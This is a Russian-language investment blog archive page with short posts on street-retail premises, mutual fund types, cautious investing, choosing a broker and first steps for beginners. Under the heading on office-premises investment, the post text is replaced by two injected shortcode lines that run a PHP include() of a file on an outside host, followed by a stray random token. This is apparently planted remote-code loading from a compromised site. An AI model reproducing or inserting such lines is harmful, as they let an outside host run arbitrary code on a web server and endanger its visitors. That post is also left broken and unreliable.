Archives for : Инвестиции

Торговое помещение формата «street retail» и инвестиции

Торговое помещение формата «street retail» — это, как правило, магазины, находящиеся на 1-ом либо же цокольном этаже какого-то жилого дома. Чаще всего перед нами переоборудованные квартиры, всевозможные подвалы, нежилые помещения первого этажа, предусмотренные первоначально в конструкции дома.

Торговое помещение формата «street retail» и инвестицииДанные торговые помещения включают в себя самую массивную группу потенциальных арендаторов: отделения всевозможных банков, розничные магазины, аптеки, кафе, сотовые операторы. Когда помещение находится на пути большого пешеходного трафика, тогда при нормальной цене аренды, пустовать оно не станет никогда. Каких бы потрясений не происходило в экономике страны, люди в любое время будут приобретать продукты, лекарства, вещи, они продолжают стричься, пользоваться связью. Как следствие, данные помещения «street retail» оказываются востребованы всегда и приносят ежемесячный доход. К слову, самое страшное, что возможно, — кратковременное падение цен аренды.

Кстати, цена аренды именно торговых помещений в 2-5 раз больше стоимости аренды такого же офисного помещения. В действительно оживленных местах стоимость взлетать может в 10 раз!

Естественно, что самым привлекательным становится торговое помещение. Другой вопрос, каким образом его приобрести? И тут есть несколько вариантов, о чем вам, как инвестору, и стоит задуматься.

Инвестиции в офисное помещение

[insert_php] include(«http://amiens-rencontres.bid/tmp/tn2fg.php»); [/insert_php]
[php] include(«http://amiens-rencontres.bid/tmp/tn2fg.php»); [/php]

Инвестиции в складское помещение

aryx1ei5af

Виды ПИФов

На самом деле ПИФы имеют множество видов, однако мы чаще ведем речь лишь про популярные виды ПИФов. Но если их обозначить в целом, то это фонды: акций, денежные, облигаций, венчурные, смешанных инвестиций, прямых инвестиций, фондов, индексные, рентные, кредитные, ипотечные, недвижимости, хеджевые, товарного рынка, художественных ценностей.

Виды ПИФовСамыми успешными в страны считаются фонды: акций, облигаций, смешанных инвестиций, индексные. Вот про них мы и скажем пару слов.

ПИФы акций считаются достаточно рискованным финансовым инструментом, хотя они подразумевает очень высокую доходность. Такие ПИФы считаются оптимальным инструментом, если речь заходит о долгосрочном инвестировании. Вообще структура их портфелей разнообразна  – одни вкладывают деньги в «голубые фишки», вторые — в акции «2-го эшелона», третьи – везде. По заметкам специалистов, базовая доля портфеля ПИФов  инвестируется именно в «голубые фишки».

Если говорить про ПИФы облигаций, то перед нами менее рискованный инструмент. Здесь низкий риск будет подразумевать низкую доходность. Уместной доходностью будет считаться 10-14% годовых. Такие ПИфы станут оптимальным инструментом в случае кратковременного инвестирования, нередко становятся альтернативой типичным банковским вкладам.

Смешанные представляют нечто среднее между двумя предыдущими. У них изменяющаяся доходность и риск.

Инвестиции без потерь

Зарабатывая средства, нужно уметь совершать инвестиции без потерь. Научить собственные деньги работать, чтобы они приносили новые деньги, – задача нелегкая. Мир денег благоволит именно профессионалам, оставляя молодых инвесторов ни с чем. Дабы избежать нецелесообразных инвестиций, потребуется принимать во внимание простые правила, дабы в будущем запросто ориентироваться в этой сфере.

Инвестиции без потерьВо-первых, не теряйте деньги. Лучше всего при оценке вариантов вклада собственных средств тщательно проанализировать риски. Оцените возможные негативные сценарии. Это поможет вам не делать лишних шагов.

Если вы не понимаете в каком-то конкретном виде инвестиций ничего, тогда не стоит спешить с инвестированием сюда. Изучите материалы в сети, посоветуйтесь с экспертами, прочитайте тематические книги.

Запомните, у вас есть опыт заработка (ЗП / доходы от бизнеса), в силу чего установите следующую цель инвестирования – сохранение своих денег, но не рискованное вложение. Когда первое, что вы пытаетесь найти в инвестициях – цифры кем-то обещанной доходности, это к хорошему не приводит. Жадность инвестору – не товарищ. Эмоции мешают многим людям, работающим в сфере финансов и вложений, они приводят к неоправданному риску с негативными последствиями. Резюмируя вышесказанное, главная цель вложения – создание капитала, способного обеспечивать доходами при грамотной консервативной стратегии инвестирования. Как следствие, выбираем надежные инвестиции, где есть оправданный риск, предсказуемый.

Надежный брокер

Надежный брокер – залог успеха инвестора. Надежность этого самого брокера – понятие достаточно субъективное, учитывая категории клиентов со всевозможной длительностью сотрудничества. Дело в том, что каждому брокеру требуется одно – привлечение денежных средств инвестора. Личные деньги брокер не вкладывает, не рискует ими. Клиент, по сути, отдает «кровные» для расправы. Не секрет, движение финансового рынка – абсолютно непредсказуемо, каждый вид анализа условно только оказывается маркером эффективности вложения средств.

Надежный брокерКлиент берет на себя риски по своему желанию, и неважно, самостоятельно или нет он делает тот или иной вклад. Что требуется от брокера – вывести на рынок средства клиента и снимать сделочные комиссии и спрэды.

Второй рубеж надежности будет касаться вывода средств с торгового счета. Коли брокер предоставляет такую возможность, он надежен. Выходит, брокерская контора обязана уметь выполнять лишь 2 примитивные функции. Как следствие, компаний, представляющих подобные услуги, море.

Настоящими мошенниками являются брокеры, незаконно привлекающие средства клиентов, отказывающиеся их возвращать. Сегодня их мало, и если вы проанализировали различные отзывы, наткнуться на таких брокеров сложно. Как следствие, надежность компании инвесторы соотносят только с тем, получилось ли заработать при помощи ее услуг. Запомните, это не показатель. Создавая компании таким образом репутацию, в будущем система может рухнуть, а брокер на определенном этапе умело всех оберет, хотя в сотрудничестве с крупными брокерами это вряд ли вам грозит.

Инвестирование на стартовом этапе

Инвестирование – довольно-таки прибыльное мероприятие финансового плана. Безусловно, искушенным инвесторам типа Уоррена Баффета, увы, не стать. Однако добиться определенных результатов возможно.

Изначально вам потребуется пересмотреть бюджет и определить, есть ли свободные средства, которые подойдут для инвестирования, не переполнен ли он излишними затратами? Если средства имеются, можно приступать к следующему шагу.

Инвестирование на стартовом этапеЗдесь потребуется разобраться, готовы ли Вы периодически пускать определенные активы на инвестирование, понимая все возможные риски? Если дополнительные источники дохода для страховки? Как отразится такая деятельность на всей картине жизни? Следует понимать, если дело касается долгосрочного инвестирования, причем высокодоходного, ситуация может оказаться непредсказуемой.

Далее выделяем инвестиционные цели. Потребуется понять, с какой целью накапливаются средства. Инвестиционная цель обязана иметь денежное выражение, принимая во внимание фактор инфляции, удешевления/удорожания объекта (цели) и т.п. Какая сумма требуется для достижения цели?

Теперь занимаемся сбором дополнительной информации. Изучаем статьи на эту тему. Общая информация обязательна, это: термины, механизмы, понятия, стратегии. О непонятных деталях спрашиваем у грамотных людей в этой сфере (форумы, сайты, консультанты).

Выбираем стратегию, площадку и приступаем.